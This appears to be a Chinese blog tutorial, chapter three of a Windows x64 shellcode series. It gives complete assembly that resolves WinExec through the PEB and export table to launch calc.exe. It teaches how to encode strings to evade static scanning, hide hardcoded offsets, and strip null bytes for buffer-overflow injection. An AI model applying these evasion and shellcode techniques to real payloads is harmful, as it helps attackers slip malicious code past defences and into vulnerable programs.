文章目录
-
- [WIndows x64 ShellCode开发 第三章 x64汇编细节点](#WIndows x64 ShellCode开发 第三章 x64汇编细节点)
WIndows x64 ShellCode开发 第三章 x64汇编细节点
在ShellCode开发中原生无更改的ShellCode特征没有隐藏,并且还存在一些影响稳定性的因素,这一篇就x64编写ShellCode的细节进行探究。
一、位命令消除编译链接产生的字符串
用strings命令查看一下我们前面章节弹calc计算器的ShellCode,发现很明显的存在两个字符串,WinExec与calc.exe,这让我们的ShellCode在静态规避方面是十分弱势的,但是我们可以使用汇编中的位命令进行消除与规避。
strings winexec.exe

我们使用NOT(按位取反)命令,在汇编存储的时候使用编码值,运行时执行not rax
即
mov rax,字符串Hex
|
|
↓
mov rax,字符串Hex的NOT编码值
not rax
实例(我们可以用WIndows带的计算器进行编码运算)
mov rax,0xFF9C9A87BA9196A8 ; WinExec\0 编码值
not rax
mov rax,0x9A879AD19C939E9C ; calc.exe 编码值
not rax
汇编代码
asm
BITS 64
SECTION .text
global main
main:
sub rsp, 0x28
and rsp, 0xFFFFFFFFFFFFFFF0 ; x64 必须 16 字节对齐
xor rcx, rcx
mov rax, [gs:0x60] ; PEB
mov rax, [rax + 0x18] ; PEB->Ldr
mov rsi, [rax + 0x10] ; 加载顺序模块链表地址
mov rsi, [rsi]
mov rsi, [rsi]
mov rbx, [rsi + 0x30] ; kernel32.dll base
mov r8, rbx
mov ebx, [rbx + 0x3C]
add rbx, r8
mov edx,[rbx+0x88] ; PE头+可选头的偏移0x88处是"导出表数据目录项"
add rdx, r8
mov r10d, [rdx + 0x14]
xor r11, r11
mov r11d, [rdx + 0x20]
add r11, r8
mov rcx, r10
mov rax, 0xFF9C9A87BA9196A8 ; ← 计算器算出的 NOT("WinExec\0")
not rax ; 解码 → "WinExec\0"
push rax
mov rdi, rsp
add rsp, 8
kernel32findfunction:
jecxz FunctionNameNotFound
xor ebx, ebx
mov ebx, [r11 + rcx*4]
add rbx, r8
dec rcx
mov r9, qword [rdi] ; 用 rdi 比较
cmp [rbx], r9
jz FunctionNameFound
jnz kernel32findfunction
FunctionNameNotFound:
int3
FunctionNameFound:
inc ecx
xor r11, r11
mov r11d, [rdx + 0x1c]
add r11, r8
mov r15d, [r11 + rcx*4]
add r15, r8 ; r15 = WinExec 地址
xor rax, rax
push rax ; 先压 \0
mov rax, 0x9A879AD19C939E9C ; ← 计算器算出的 NOT("calc.exe")
not rax ; 解码 → "calc.exe"
push rax
mov rcx, rsp ; rcx = "calc.exe\0"
mov rdx,1
sub rsp, 0x30
call r15
nasm.exe -f win64 winexec.asm
gcc -m64 -o winexec.exe winexec.obj -lkernel32 -nostartfiles
编译链接后再用Strings查看winexec.exe的字符串
strings winexec.exe

可以发现没有任何的输出,这就说明我们成功移除了汇编编译链接后产生的字符串
二、隐藏硬编码偏移
asm
xor rcx, rcx ; rcx = 0
mov cl, 0x11 ; cl = 0x11 (低8位)
shl rcx, 3 ; 0x11 << 3 = 0x88 (左移3位 = 乘以8)
mov edx, [rbx + rcx] ; edx = [rbx + 0x88]
asm
mov edx,[rbx+0x88] ; PE头+可选头的偏移0x88处是"导出表数据目录项"
两者执行结果一致,但是前一个命令利用移位指令隐藏了[访问 0x88 偏移]的硬编码
三、移除零坏字符
当我们使用一些汇编指令的时候,最终会在代码中产生不少的空字节,如果我们将ShellCode应用在缓冲区溢出处,代码中存在的\x00会直接被截断导致程序错误,再一个就是当进行字符串复制等操作时,函数一旦遇到\x00直接停止,整个程序也会崩溃。
下面则讲一下最常见的汇编处理方法:
-
寄存器清零操作
asmmov eax, 0 ; 原始写法asmxor rax, rax ; 消除写法 -
设置小整数1操作
asmmov edx, 1 ; 原始写法asmxor rdx, rdx inc rdx ; 消除写法 -
无用跳转命令
asmjs label1 ; 如果说标签就在下一行命令就不用写多余的跳转命令了 jmp label2 ; ,写了反而增加多余的零字符 -
字符串结尾NULL终止符
asmmov rax,0x00636578456E6957 ; 原始写法,有00asmmov rax, 0x90636578456E6957 shl rax, 0x8 shr rax, 0x8 ; 先用0x90占位,然后右移两次复原 -
导出表偏移(0x88)
asmmov edx, [rbx + 0x88] ; 原始写法asmxor rcx, rcx add cx, 0x88ff shr rcx, 0x8 ; 消除写法,不直接写0x88, mov edx, [rbx + rcx] ; 先写16位的0x88ff,再进行移位指令